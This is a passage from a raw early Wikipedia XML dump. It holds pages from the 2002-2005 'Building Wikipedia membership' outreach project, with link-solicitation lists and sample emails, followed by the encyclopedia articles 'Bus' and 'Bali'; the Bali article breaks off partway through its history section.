An shouldn't the first one above be linked from all over the place? With instructions on how to create the links?[[User:IFaqeer|&lt;nowiki&gt;&lt;/nowiki&gt;]]&amp;mdash;[[User:IFaqeer|iFaqeer]] [[User talk:IFaqeer|(Talk to me!)]] 21:35, Jan 19, 2005 (UTC)

:PS: before I come out sounding self-important, I wasn't looking to do the 'Pedia any favours; my blog is new and I am trying to make it a home for good wholesome thought and content. I feel the Wikipedia is an important thing to point to.[[User:IFaqeer|&lt;nowiki&gt;&lt;/nowiki&gt;]]&amp;mdash;[[User:IFaqeer|iFaqeer]] [[User talk:IFaqeer|(Talk to me!)]] 21:40, Jan 19, 2005 (UTC)

=== I do agree!! ===

Hello,
I do agree with Ifaqeer. The link to [[Wikipedia:Banners and buttons]]  should be more accessible. 
Bye
[[User:Java|Java]]

[[Category:Wikipedia publicity|{{PAGENAME}}]]
[[da:Wikipedia:Hvordan gør jeg Wikipedia kendt]]

==Targeting publicity efforts==

Wikipedia is now one of the top 30 web sites on the net, period.  It seems that anyone in the developed world who hasn't heard about us yet soon will, either through word of mouth or the inevitable media coverage for such an important site.  Wikipedia is also currently dominating Google and other search engines, so there's really no need to solicit links anymore.  At this point, I think publicity efforts would be more useful if they were targeted.  For example we would like to recruit:
* Experts for fields where articles are languishing
* Translators
* Editors from cultural minorities not well represented here
* English-speaking residents of non-English-speaking countries

The amount of publicity that Wikipedia gets from media outlets is very large.  Even if we could muster enough posters and volunteers to distribute them to compete with sheer volume, we have little direct control over what the media will say about us (though Jimbo has been doing a good job acting as a spokesperson, at least for those outlets who ask us for our point of view).  The best way I think we can make sure that the large amounts of free publicity we are getting is ''good'' publicity, is to improve what it is people see when they visit the site.  Given that most criticism recently has been about accuracy and trust and the site claiming to be more than it's not (since people assume an &quot;encyclopedia&quot; is professionally reviewed), an excellent first step would be to make sure anything that's in an unacceptable state is clearly marked, even if we can't fix it right away.  [[:Category:Wikipedia maintenance]] catalogs the hundreds of different ways this can be done. -- [[User:Beland|Beland]] 21:40, 15 December 2005 (UTC)</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Encyclopedia links solicited</title>
    <id>4136</id>
    <revision>
      <id>15902431</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">Links solicited (and pending):
* [http://www.pantheon.org/mythica.html Encyclopedia Mythica] 
* [http://www.clever.net/cam/encyclopedia.html The FREE Internet Encyclopedia]
* [http://i-cias.com/index.htm Encyclopedia of the Orient]
* [http://www.gahtan.com/cyberlaw/ Cyberlaw Encyclopedia]
* [http://www.psychology.org/ Encyclopedia of Psychology]
* [http://www.ency-astro.com/ Encyclopedia of Astronomy and Astrophysics]
* [http://www.si.umich.edu/chico/instrument/ Chico Instrument Encyclopedia]
* [http://www.symbols.com/ Symbols.com]

Links obtained:
* [http://www.refdesk.com/ Refdesk]

Jumping-off points:
* http://www.google.com/search?q=encyclopedia&amp;hl=en&amp;safe=off&amp;start=40&amp;sa=N

:[[Building_Wikipedia_membership/Sample solicitation|Sample solicitation]]
:[[Building_Wikipedia_membership/Another sample solicitation|Another sample solicitation]]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Sample solicitation</title>
    <id>4137</id>
    <revision>
      <id>31244841</id>
      <timestamp>2005-12-13T21:51:05Z</timestamp>
      <contributor>
        <username>IanManka</username>
        <id>291073</id>
      </contributor>
      <minor />
      <comment>article count</comment>
      <text xml:space="preserve">Hello!  I would like to exchange links with you, if that's possible.  Wikipedia and Nupedia are free, open content encyclopedias.  Wikipedia now has over 800.000 articles, including many in the life sciences, and Nupedia's (peer reviewed) biology category is its most active.

Wikipedia would be happy to include a link to the Encyclopedia of Life Sciences on our &quot;Friends of Wikipedia&quot; page.  Wikipedia now receives something like 2,000 unique visitors a day, and we started in January; this e-mail is part of a drive to increase traffic, and so we expect traffic will increase greatly, particularly as we are growing by over 1,000 articles per month.

(These articles, both Wikipedia's and Nupedia's, are, by the way, free for you to use as you wish, with no fee--see our open content license.)

Best regards,

Larry Sanger

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Another sample solicitation</title>
    <id>4138</id>
    <revision>
      <id>15902433</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">I am only now starting to publicize Wikipedia, a wiki-based free (open
content) encyclopedia project.  We started last January and already have
about 10,000 articles.  Perhaps you have seen us by now--we're located at
http://www.wikipedia.com . I'm the person responsible for organizing and
leading Wikipedia, as well as Nupedia (which has been moving *much* more
slowly).

First things first: it would be fantastic if you would like to link to any
or all of our articles.  They're free, of course.  I'd like to make this
as easy as possible for you, if you're interested.

If you have any free articles we can use, I would like to know about it!

More interestingly, perhaps, for you, is the idea that you can actually
use our content as part of your website.  It's free.  The cream of the
crop can be found at http://www.wikipedia.com/wiki.cgi?Brilliant_prose ,
but there's a *lot* more than that.  Also, the quality of Nupedia articles
is guaranteed; see http://www.nupedia.com/newest.phtml .  (There just
isn't much there yet.)

One thing we're working on is a program that will make it extremely easy
to mirror Wikipedia's content.  We're not done with that yet--but is that
something you might be interested in?

I certainly would like to hear back from you about how we might be able to
support each other.  I do not regard your website as a competitor in any
sense at all.

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Ideas for articles about Wikipedia and other press events</title>
    <id>4139</id>
    <revision>
      <id>15902434</id>
      <timestamp>2004-06-02T02:57:38Z</timestamp>
      <contributor>
        <username>WpZurp</username>
        <id>68229</id>
      </contributor>
      <minor />
      <comment>fix spelling mistake</comment>
      <text xml:space="preserve">Article ideas (feel free to contribute--yes, you!):
# Press release (this is on hold for the time being)
# Response to [http://slashdot.org/articles/01/10/10/1454231.shtml], an article critical of MIT's project and name from the perspective of GNU-style &quot;freedom&quot;, free speech versus free beer and all that good stuff.
# Article discussing the meaning and possibility of unbiased writing, using Wikipedia as an example.  A number of websites might be interested in this, including Kuro5hin.
# &quot;How is Wikipedia possible?&quot;
# &quot;Why should anybody trust what is in Wikipedia?&quot;  An interesting study in applied social epistemology: for many Wikipedia articles, we have ''zero'' information about the credentials of the people who wrote the article.  Should we give the article zero credence?  No.  Why not?  Might be good for an e-zine about computers and philosophy...I think there is one.
# The history of free online encyclopedia projects
# Why an encyclopedia?  Why not just use Google?
# Done: Kuro5hin article reporting: RMS endorsement; 10,000 articles; NYT coverage; Tech Review coverage.  ([[LMS]] plans to write this as soon as gnu.org puts up a link to Wikipedia.)
# submit wikipedia articles on controversial issues to discussion sites to show off our neutral point of view (maybe a stupid idea)

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Encyclopedia list links solicited</title>
    <id>4140</id>
    <revision>
      <id>15902435</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">Solicited and pending:
* [http://www.accessplace.com/library.htm Access Place Library]
* [http://rtiess.tripod.com/proteus/encyclopedia.htm Encyclopedia Proteus]
* [http://freeportal.virtualave.net/FreeStuff/FreeBooks/encyclopedia.shtml Free Online Encyclopedias]
* [http://www.student-manual.com/study/tools/encyclopedias.htm Student-manual.com]
* [http://www.abp1.com/1getsmrt/index.html The Virtual Encyclopedia]
* [http://www.informationsphere.com/ informationsphere]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Big traffic links solicited</title>
    <id>4141</id>
    <revision>
      <id>29164139</id>
      <timestamp>2005-11-24T22:13:55Z</timestamp>
      <contributor>
        <ip>69.158.173.251</ip>
      </contributor>
      <text xml:space="preserve">OK, folks, what are some websites that get lots and lots of traffic, and which might link to us?  Ideas???

* Wired (no links; might take an article though)
* ZDNet (no links; might take an article though)
* [[Building_Wikipedia_membership/About.com|About.com]]
* Slashdot articles could link to Wikipedia articles under a &quot;Related links&quot; section.

Links to lists of popular websites:
* [http://www.mediametrix.com/data/top500.jsp?language=us The Media Metrix list]
* [http://www.econsultant.com/ econsultant.com]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/About.com</title>
    <id>4142</id>
    <revision>
      <id>15902437</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">Hey, we can probably get a ''lot'' of traffic from About.com.  The way About.com works is this: they have a bunch of people working independently building guides to the Internet.  They don't have to make their guides consistent with each other.  They don't know if other guides are or are not accepting links from Wikipedia.  In short, in principle, we could get ''huge'' numbers of links from different pages on their website.  They'll love us because we're content-rich, and they like that.

So, if you feel so inspired, please go to [http://search.about.com/fullsearch.htm?terms=encyclopedia&amp;PM=59_0100_S] or for that matter, any page about any subject, and ask for links either to http://www.wikipedia.com/ or to the relevant part of Wikipedia.  They've got a ''huge'' (no kidding--''huge'') number of pages on about.com that link to encyclopedias.  Wikipedia should be linked from every one of them, but for that we've got to start asking!  :-)

But if you do this, could you please indicate, below, what guide/area you've solicited?  Thanks.

* [http://familyinternet.about.com/cs/referencelibrary/ Marcy Zitz, Family Internet]
* [http://homeworktips.about.com/cs/encyclopedias/index.htm?rnk=r1&amp;terms=encyclopedia Cathy Spalding, Homework Tips]
* [http://kidspenpals.about.com/cs/dictionaries/ Shauna Lee De Feyter, Penpals for Kids]
* [http://puzzles.about.com/cs/encyclopediaatlas/index.htm?rnk=r2&amp;terms=encyclopedia Dave Fisher, Puzzles]
* [http://nanotech.about.com/library/def/bldefindex.htm?rnk=r13&amp;terms=encyclopedia Steve Lenhert, Nanotechnology]
* [http://websearch.about.com/cs/encyclopedias/index.htm?rnk=r14&amp;terms=encyclopedia Kevin Elliott, Web Search]
* [http://netforbeginners.about.com/cs/encyclopedias/index.htm?rnk=r15&amp;terms=encyclopedia Gwen Schertel, Net for Beginners]
* [http://philosophy.about.com/cs/reference/ Rich Gray, Philosophy]
* ''Write to others!  See http://www.about.com !''

[[Building_Wikipedia_membership/Sample solicitation 3|Sample solicitation 3]]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Sample solicitation 3</title>
    <id>4143</id>
    <revision>
      <id>15902438</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">I'm the main organizer of Wikipedia, a free, open content encyclopedia.
Please have a look, at http://www.wikipedia.com/ . I would be delighted if
you would link to it from

http://kidspenpals.about.com/cs/dictionaries/

We've got 10,000 articles, growing by 2,000 per month. It's pretty
amazing, really. Here is an article about it in the MIT Technology Review:

http://www.techreview.com/web/heim/heim090401.asp

We're also soon going to be the subject of an article in the New York
Times.

Thanks!

Larry Sanger, Ph.D.
Wikipedia chief organizer

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Newsgroups</title>
    <id>4144</id>
    <revision>
      <id>15902439</id>
      <timestamp>2003-09-05T13:57:39Z</timestamp>
      <contributor>
        <username>Modemac</username>
        <id>3552</id>
      </contributor>
      <text xml:space="preserve">[http://groups.google.com/ Google groups] is really easy to use, I've discovered--if you don't have a newsreader set up, it's a more than adequate substitute.

Groups we have posted to:
:soc.history.moderated
:soc.religion.christian.bible-study
:humanities.classics
:humanities.lit.authors.shakespeare
:sci.physics.relativity
:sci.stat.math
:sci.econ
:sci.anthropology

Here are a couple of direct Google links that may be of interest:

* [http://www.google.com/groups?as_q=wikipedia&amp;safe=images&amp;ie=UTF-8&amp;oe=UTF-8&amp;lr=&amp;num=30&amp;as_scoring=d&amp;hl=en Search Google groups for all mentions of Wikipedia]
* [http://www.google.com/groups?as_q=%22www.wikipedia.org%22&amp;safe=images&amp;ie=UTF-8&amp;oe=UTF-8&amp;lr=&amp;num=30&amp;as_scoring=d&amp;hl=en Search specifically for mentions of English Wikipedia]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership/Best of sites links solicited</title>
    <id>4145</id>
    <revision>
      <id>15902440</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">I've been going through the list on [http://home.mira.net/~lions/secret.htm] and am up to &quot;Project Cool Sightings.&quot;

After that I'm going to go to [http://dir.yahoo.com/Computers_and_Internet/Internet/World_Wide_Web/Searching_the_Web/Indices_to_Web_Documents/Best_of_the_Web/Sites_of_the___/Day/] and work on that.

--[[LMS]]

:''See also :'' [[Building Wikipedia membership]]</text>
    </revision>
  </page>
  <page>
    <title>Bus</title>
    <id>4146</id>
    <revision>
      <id>41447754</id>
      <timestamp>2006-02-27T10:59:57Z</timestamp>
      <contributor>
        <username>Wiki alf</username>
        <id>303874</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.171.194.40|62.171.194.40]] ([[User talk:62.171.194.40|talk]]) to last version by 216.240.7.114</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:honoluluthebus.jpg|thumb|300px|[[TheBus]], established by Mayor Frank Fasi, is Honolulu's only public transit system.  It was twice honored as ''America's Best Transit System'', before being disqualified from the [[American Public Transportation Association]] competition. Other cities felt they could not compete against Honolulu.]]
A '''bus''' is a large, motorized, [[wheel]]ed [[vehicle]] intended to carry numerous persons in addition to the [[driving|driver]]. The name is a shortened version of '''''omnibus''''', which means &quot;for everyone&quot;.

==History==
The omnibus, the first organized [[public transit]] system, may have originated in [[Nantes, France]] in 1826, when a retired army officer who had built public baths on the city's edge set up a short stage line between the center of town and his baths. When he discovered that passengers were just as interested in getting off at intermediate points as in patronizing his baths, he shifted the stage line's focus. His new ''voiture omnibus'' (&quot;carriage for all&quot;) combined the functions of the hired [[hackney carriage]] with the [[stagecoach]] that travelled a predetermined route from inn to inn, carrying passengers and mail. His omnibus featured wooden benches that ran down the sides of the vehicle; entry was from the rear. 

Whether by direct emulation, or because the idea was in the air, by 1832 the idea had been copied in Paris, Bordeaux and Lyons. A London newspaper reported in July 4, 1829 that &amp;#8220;the new vehicle, called the ''omnibus'', commenced running this morning from Paddington to the City&amp;#8221;. This [[Buses in London|bus]] service was operated by [[George Shillibeer]]. 

In [[History of New York City|New York]], omnibus service began in the same year, when Abraham Brower, an entrepreneur who had organized volunteer fire companies, established a route along [[Broadway (New York City)|Broadway]] starting at [[Bowling Green (New York City)|Bowling Green]]. Other American cities soon followed suit: Philadelphia in 1831, Boston in 1835 and Baltimore in 1844. In most cases, the city governments granted a private company&amp;mdash;generally a small stableman already in the [[livery]] or freight-hauling business&amp;mdash;an exclusive franchise to operate public coaches along a specified route. In return, the company agreed to maintain certain minimum levels of service&amp;mdash;though one of these standards was not upholstery. The New York omnibus quickly moved into the urban consciousness. In 1831, New Yorker [[Washington Irving]] remarked of Britain's [[Reform Act 1832|Reform Act]] (finally passed in 1832): &quot;The great reform omnibus moves but slowly.&quot;
[[Image:HDaumierOmnibus.JPG|thumb|left|240px|&quot;Omnibus,&quot; crayon and watercolor drawing by [[Honoré Daumier]], 1864 ([[Walters Art Museum]]).]]

The omnibus had many repercussions for society, particularly in that it encouraged [[urbanization]]. Socially, the omnibus put city-dwellers, even if for only half an hour, into previously-unheard-of physical intimacy with strangers, squeezing them together knee-to-knee (''illustration, left''). Only the very poor remained excluded. A new division in urban society now came to the fore, dividing those who kept carriages from those who did not. The idea of the &quot;carriage trade&quot;, the folk who never set foot in the streets, who had goods brought out from the shops for their appraisal, has its origins in the omnibus crush.
[[Image:Guatemala-Chicken-Buses.jpg|thumbnail|200px|right|The (in)famous Chicken Buses of [[Guatemala]].]]
The omnibus also extended the reach of the North Atlantic post-[[Georgian era|Georgian]], post-[[Federal architecture|Federal]] city. The walk from the former village of [[Paddington]] to the business heart of London in the &quot;City&quot; was a brisk one for a young man in good condition. The omnibus offered the nearer suburbs more access to the inner city.

More intense urbanization was to follow. Within a very few years, the New York omnibus had a rival in the [[tram|streetcar]]: the first streetcar ran along [[Bowery (Manhattan)|The Bowery]], which offered the excellent improvement in amenity of riding on smooth iron rails rather than clattering over [[granite]] setts, called &quot;Belgian blocks&quot;.  The new streetcars were financed by John Mason, a wealthy banker, and built by an Irish contractor, John Stephenson. The streetcars would become even more centrally important than the omnibus in the future of urbanization.

When motorized transport proved successful after ''ca'' 1905, a motorized omnibus was for a time sometimes called an '''''autobus'''''.

==Types==
[[Image:TourBus.jpg|thumb|300px|right|Tour buses are a common tourist attraction in larger cities.]]
[[Image:CTA-articulated-bus.jpg|right|thumb|300px|An [[articulated bus]] operated by the [[Chicago Transit Authority|CTA]] in [[Chicago, Illinois|Chicago]].]]
[[Image:GLI6080-DL3.jpg|thumb|300px|right|A [[Greyhound Lines|Greyhound]] bus.]]
[[Image:Laidlaw school bus.jpg|thumb|300px|[[Laidlaw]] School Bus.]]
[[Image:Buses in Helsinki centre.jpg|thumb|300px|Modern [[Scania AB|Scania]] buses in [[Helsinki]].]] 

*[[Coach]] / Motorcoach
*[[double-decker bus|Double-decker bus]]
*[[Articulated bus]]
*[[Low-floor|Low-floor bus]]
*[[Midibus]]
*[[Minibus]]
*[[Trolleybus]]
*[[Gyrobus]]
*[[Guided bus]]
*[[Shuttle|Shuttle bus]]
*[[School bus]]

==Manufacture and Manufacturers==
{{see|:Category:Bus manufacturers|:Category:Buses}}

==Bus line operators==
{{see|List of bus companies}}

==Types of bus service==
Buses are an intrinsic part of everyday life, and play an important part in the social fabric of many countries.

===City transit===
Most urban public transportation systems in North America rely chiefly on a bus network to provide services. The largest single city bus fleet in North America is in [[Transportation in New York City|New York City]].

===Intercity travel===
Intercity bus services have become an important travel connection to smaller towns and rural areas in the [[United States]] that do not have [[airports]] or [[train]] service. A new phenomenon in intercity bus travel has been the [[Chinatown bus]].

===Tourism===
Some places have buses that resemble [[streetcar]]s in order to attract tourists or otherwise look nice (see right). A similar phenomenon is [[Duck Tours]], which uses [[DUKW]]s converted into buses/cruise boats for tour purposes.

==Buses in a social context==
===Desegregation busing===
{{main|Desegregation busing}}
In some areas of the United States, a [[Desegregation busing|forced busing]] system has been used to achieve racial [[desegregation]] of public schools. Under a busing plan, children do not necessarily go to the nearest school geographically, but to such a school where there is an appropriate mix of racial diversity.

===Buses and segregation===
{{main|Montgomery Bus Boycott}}
Bus services were also a focal point in the [[American Civil Rights Movement]] of the 1950s and 1960s in the [[United States]]. In the period after the [[American Civil War]] ended in 1865, [[racial segregation]] in public accommodations, including [[public transport]] such as rail and bus services, was enforced through [[Black Codes]] and [[Jim Crow]] laws. These were made to prevent [[African-American]]s from doing things that a [[Whites|white]] person could do. For instance, Jim Crow laws required bus drivers to enforce separate seating sections. These laws and enforcement varied among communities and states. 

In 1955, after a long day of work, [[Rosa Parks]], a black seamstress, was arrested in [[Montgomery, Alabama]] for refusing to give up her seat to a white man on a public bus, bringing attention to the injustice of differential and degrading treatment based solely upon race. This incident, boycotts of bus services, other protests, and court challenges led a [[U.S. Supreme Court]] ruling banning segregation on public buses and helped lead the [[U.S. Congress]] to the pass the landmark [[1964 Civil Rights Act]] which clarified the unconstitutionality of public racial segregation laws.

==Miscellaneous==
The usual [[plural]] of bus is &quot;buses&quot;. &quot;Busses&quot; is sometimes used, but is also the plural of &quot;buss&quot;, a [[dialect]]al word for &quot;kiss&quot; or a type of boat.

==See also==
*[[Public transport]]
*[[Bus rapid transit]]
*[[Busway]]
*[[Bus stop]]
*[[Bus spotting]]
*[[Night bus]]
*[[Streetcar]]
*[[Training bus]]
*[[General Motors streetcar conspiracy]]
*[[Colectivo]] (Historically improvised buses of Buenos Aires)

==External links==
{{commons|bus}}
*[http://busbusbus.com complete bus buyers guide, compare makes and models, conversion issues, repair histories]
*[http://www.busesintl.com/May_2003.htm Busway programs in the Netherlands, bi-articulated bus]
*[http://www.quinion.com/words/articles/omnibus.htm &quot;A word for all: the odd history of &quot;omnibus&quot;&quot;]
*[http://www.public-transport.net Buses in Europe]
*[http://www.barraclou.com/bus Barraclou.com - Bus]
*[http://busimages.blogspot.com Bus Bus Bus PhotoBlog]

==References==
*{{1911}}

[[Category:Bus transport]]
[[Category:Passenger equipment]]

[[zh-min-nan:Kong-chhia]]
[[bg:Автобус]]
[[cs:Autobus]]
[[da:Bus]]
[[de:Omnibus]]
[[es:Autobús]]
[[eo:Aŭtobuso]]
[[fr:Autobus]]
[[ko:버스]]
[[id:Bus]]
[[it:Autobus]]
[[he:אוטובוס]]
[[la:Omnibus]]
[[lt:Autobusas]]
[[hu:Autóbusz]]
[[nl:Autobus]]
[[ja:バス (交通機関)]]
[[no:Buss]]
[[pl:Autobus]]
[[pt:Autocarro]]
[[ru:Автобус]]
[[simple:Bus]]
[[sk:Autobus]]
[[fi:Linja-auto]]
[[sv:Buss]]
[[zh:公共汽車]]</text>
    </revision>
  </page>
  <page>
    <title>Bali</title>
    <id>4147</id>
    <revision>
      <id>42094620</id>
      <timestamp>2006-03-03T20:11:17Z</timestamp>
      <contributor>
        <username>Agnihoma</username>
        <id>1024980</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about Bali, the Indonesian island. For other uses, see [[Bali (disambiguation)]].''
{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;200px&quot; align=&quot;right&quot; style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Bali'''&lt;/font&gt;
|-
|align=&quot;center&quot; colspan=2|[[Image:topengtua.jpg|center|thumb|194px|Topeng Tua is a masked dance portraying an old man recalling younger times]]
|-
|align=&quot;center&quot; colspan=2|[[Image:Bali_emblem.jpg|204px|Bali Emblem]]
|-
|align=&quot;center&quot; colspan=2 |&lt;small&gt;''[[Motto]]: Bali Dwipa Jaya&lt;br&gt;(&quot;Prosperous Bali Island&quot;)''&lt;/small&gt;
|-
|align=center colspan=2| [[Image:IndonesiaBali.png|204px|Map showing Bali within Indonesia]]
|-
|'''[[Language]]''' || [[Balinese language|Balinese]], [[Bahasa Indonesia|Indonesian]]
|-
|'''[[Religion]]''' || [[Hindu]] (93.18%), [[Muslim]] (4.79%), [[Christian]] (0.72%), [[Protestant]] (0.66%), [[Buddhist]] (0.64%)
|-
|'''[[Capital]]''' || [[Denpasar]]
|-
|'''Government'''&lt;br&gt;&amp;nbsp;-&amp;nbsp;[[Governor]]&lt;br&gt;&amp;nbsp;-&amp;nbsp;Vice&amp;nbsp;governor
|&lt;br&gt;[[Dewa Made Beratha]]&lt;br&gt;[[Kesuma Kelakan]]
|-
|'''[[Area]]'''&lt;br&gt;&amp;nbsp;&amp;nbsp;- Total 
|&lt;br&gt;5,632.86 km&amp;sup2;
|-
|'''Population'''&lt;br&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Total&amp;nbsp;(2000)&lt;br&gt;&amp;nbsp;&amp;nbsp;-&amp;nbsp;[[Density]]
|&lt;br&gt;3,150,000&lt;br&gt;559/km&amp;sup2;
|-
|'''[[Time zone]]''' || [[Coordinated Universal Time|UTC]] +8 ([[WITA]])
|-
|'''Coordinates'''&lt;br&gt;&amp;nbsp;- Latitude&lt;br&gt;&amp;nbsp;- Longitude
|&lt;br&gt;8&amp;deg;03'40&quot;S to 8&amp;deg;50'48&quot;S&lt;br&gt;114&amp;deg;25'53&quot;E to 115&amp;deg;42'40&quot;E
|-
|'''Elevation'''&lt;br&gt;&amp;nbsp;- Highest point&lt;br&gt;&amp;nbsp;- Lowest point
|&lt;br&gt;3,142 m ([[Mount Agung]])&lt;br&gt;0 m
|-
|'''Web site'''
|[http://www.bali.go.id/default_e.asp www.bali.go.id]
|-
|}

'''Bali''' is an [[Indonesia]]n [[island]] located at {{coor dms|8|25|23|S|115|14|55|E|}}, and one of the [[Lesser Sunda Islands]].  It is in a chain with [[Java (island)|Java]] to the west and [[Lombok]] to the east. It is a popular [[tourism|tourist]] destination and, along with Java, known for its highly developed arts, including dance, sculpture, painting, leather and metalworking, and [[music]], especially that played on the [[gamelan]].

==Geography==

Bali lies 3.2 km east of Java and about 8 degrees south of the [[equator]]. It is 153 km long and 112 km wide (95 by 69 miles).  Its surface area is [[1 E9 m²|5,633 km&amp;sup2;]]. The highest point is [[Mount Agung]], 3,142 m high (10,308 feet), an active [[volcano]] that last erupted in March [[1963]]. Mountains range from the central to the eastern side, Mount Agung being the easternmost peak. [[Mount Batur]], or what remains of it, is also still active. About 30,000 years ago it experienced a massive catastrophic eruption &amp;mdash; one of the largest known volcanic events on [[Earth]].

The principal cities are the northern port of [[Singaraja]] and the capital, [[Denpasar]], near the southern coast. The town of [[Ubud]] (north of Denpasar), with its art market, [[museum]]s and galleries, is regarded as the cultural center of Bali.

In the south the land descends to form an [[alluvial plain]], watered by shallow rivers, dry in the [[dry season]] and overflowing during periods of heavy rains.

Its population of over 3 million is mainly (about 93%) [[Hinduism|Hindu]], but a very small part is [[Muslim]] (mostly coastal fishermen).


The main tourist locations are the town of [[Kuta]] (along with its accompanying beach), [[Sanur]], [[Jimbaran]], [[Seminyak]] and the newer development of [[Nusa Dua]].  The [[Ngurah Rai Airport|Ngurah Rai International Airport]] is located near Jimbaran, on the [[isthmus]] joining the southernmost part of the island to the main part of the island.

There are major coastal roads and roads that cross the island mainly north-south. Due to the mountainous terrain in the island's center, the roads tend to follow the crests of the ridges across the mountains.  There are no railway lines.

The island is surrounded by [[coral reefs]]. [[Beach]]es in the south tend to have white sand while those in the north and west [[black sand]]. The beach town of [[Padangbai]] in the north east has both: the main beach and the ''secret beach'' have white sand and the south beach and the ''blue lagoon'' have much darker sand.

Pasut Beach (Tabanan), near Sungai Ho and Pura Segara, is a quiet beach 14 km southwest of Tabanan. The Ho River is navigable by small [[sampan]]. Facing a revitalizing landscape of strong waves, the coast around Pasut is a perfect escape from the crowds. Beautiful black sand beaches between Pasut and Klatingdukuh are now being developed for tourism, but apart from the famous seaside temple of Tanah Lot, this is not yet a tourist area.

Most of the [[Balinese people]] are involved in [[agriculture]], primarily [[rice]] cultivation. Crops grown in smaller amounts include fruits, vegetables and other [[cash crop]]s. A significant number of Balinese are also fishermen.  Bali is also famous for its [[artisan]]s who produce [[batik]] and [[ikat]] cloth and clothing, [[Woodworking|wooden carvings]], stone carvings and silverware.

==History==
Balinese people are descendants of a prehistoric race who [[migration|migrated]] through mainland [[Asia]] to the [[Indonesian archipelago]], presumably first settling around [[2500 BC]]. 

The end of the prehistoric period in [[Indonesia]] was marked by the arrival of Hindu people from [[India]] around [[100 BC]] as determined by [[Brahmi]] inscriptions on [[potsherd]]s.  The name [[Balidwipa]] has been discovered from various inscriptions, including the [[Blanjong]] charter issued by [[Sri Kesari Warmadewa]] in [[913]] AD and mentioning [[Walidwipa]].  The Hindu [[Majapahit Empire]] ([[1293]]&amp;ndash;[[1520]] AD) on Eastern [[Java (island)|Java island]] founded a Balinese [[colony]] in [[1343]]. The empire collapsed slightly before [[1500]] due to assaults, causing an exodus to Bali.
{| align=right style=&quot;clear:right;&quot;
|[[Image:PIA04950_lrg_Topography_of_Bali.jpg|thumb|200px|Topography]]
|-
|[[Image:Gunung_Kawi_Rice_Terrace_Tampaksiring_1.jpg|thumb|200px|Rice terraces at entrance to [[Gunung Kawi]] Temple]]
|-
|[[Image:DewiSri.jpg|right|thumb|200px|Statue of [[Dewi Shri|Dewi Sri]] &amp;mdash; Ubud, Bali]]
|-
|[[Image:Jan30244.JPG|right|thumb|200px|Young Balinese dancers perform the Legong Keraton, created in the 18th century and based on a 13th century legend of the King of Lasem]]
|-
|[[Image:bali.starling.arp.jpg|thumb|200px|The [[Bali Starling]] lives only on Bali. As few as six may exist in the wild]] 
|}

[[Europeans]] first discovered Bali when [[Netherlands|Dutch]] explorer [[Cornelis de Houtman]] arrived in [[1597]], though a [[Portugal|Portuguese]] ship had foundered off the coast of [[Bukit]] as early as [[1585]]. The Dutch soon established a trade post, and the [[Dutch East India Company]] (VOC) started trading from early [[17th century]]. Dutch control of the island was firmly established after a series of colonial wars ([[1846]]&amp;ndash;[[1849]]). These wars were so fierce (with the entire royal court of the [[Raja]], women and children, plunged into battle armed with [[kris]] and spears, prefering to kill each-other on the battlefield rather than be taken captive) that afterwards the Dutch governors exercised relatively little influence over the island, generally allowing local control over religion and culture to remain intact.

International tourism started in the [[1920s]]. &lt;!-- This is not history-related: Bali's beaches are famous worldwide. Its arts and crafts are also popular. Balinese dance is highly developed, and considered by many to be one of the world's finest artistic traditions. &quot;[[Pendet]]&quot;,&quot;[[Legong]]&quot; and &quot;[[Baris (dance)|Baris]]&quot; are some of the better-known examples. --&gt;

After being conquered by [[Japan]] during [[World War II]], Bali became part of the [[Republic of East Indonesia]], and in [[1948]] became part of [[United States of Indonesia]].

In [[1965]], after a failed ''[[coup d'etat]]'' against the national government, Bali was the scene of widespread killings of members and sympathizers of the [[Communist Party of Indonesia]] (PKI) by right-wing militias, along with several other parts of Indonesia.

